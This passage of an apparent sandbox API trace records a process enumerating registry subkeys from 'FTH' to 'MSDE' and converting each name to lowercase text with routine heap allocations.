BaseAddress=0xa8bbb8) returned 1 [0247.606] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0xa8b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0247.606] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.606] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xa8c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0247.606] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.606] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.606] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.606] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.606] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0xa8b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0247.606] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.606] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xa8c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0247.606] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.606] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.606] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.606] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.606] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0xa8b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0247.606] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.606] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xa8c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.607] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0xa8b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.607] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0xa8b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xa8c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.607] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.607] RegEnumKeyW (in: hKey=0x34, dwIndex=0x28, lpName=0xa8b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0247.607] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.608] RegEnumKeyW (in: hKey=0x34, dwIndex=0x29, lpName=0xa8b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xa8c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.608] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2a, lpName=0xa8b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xa8c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.608] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.608] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2b, lpName=0xa8b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xa8c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0247.608] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.609] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2c, lpName=0xa8b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0247.609] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.609] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xa8c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0247.609] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.609] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2d, lpName=0xa8b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0247.609] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.609] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xa8c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0247.609] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.609] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.609] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2e, lpName=0xa8b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0247.609] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0247.609] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xa8c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.610] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2f, lpName=0xa8b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xa8c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.610] RegEnumKeyW (in: hKey=0x34, dwIndex=0x30, lpName=0xa8b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xa8c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.610] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.610] RegEnumKeyW (in: hKey=0x34, dwIndex=0x31, lpName=0xa8b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xa8c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0247.610] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.611] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.611] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.611] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.611] RegEnumKeyW (in: hKey=0x34, dwIndex=0x32, lpName=0xa8b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0247.611] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.611] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xa8c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0247.611] RegEnumKeyW (in: hKey=0x34, dwIndex=0x33, lpName=0xa8b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0xa8c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0247.611] RegEnumKeyW (in: hKey=0x34, dwIndex=0x34, lpName=0xa8b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0247.611] RegEnumKeyW (in: hKey=0x34, dwIndex=0x35, lpName=0xa8b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0xa8c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0247.611] RegEnumKeyW (in: hKey=0x34, dwIndex=0x36, lpName=0xa8b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0247.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0xa8c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0247.612] RegEnumKeyW (in: hKey=0x34, dwIndex=0x37, lpName=0xa8b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0xa8c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0247.612] RegEnumKeyW (in: hKey=0x34, dwIndex=0x38, lpName=0xa8b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0xa8c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0247.612] RegEnumKeyW (in: hKey=0x34, dwIndex=0x39, lpName=0xa8b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0xa8c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0247.612] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3a, lpName=0xa8b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0xa8c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0247.612] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3b, lpName=0xa8b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0xa8c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0247.612] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3c, lpName=0xa8b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 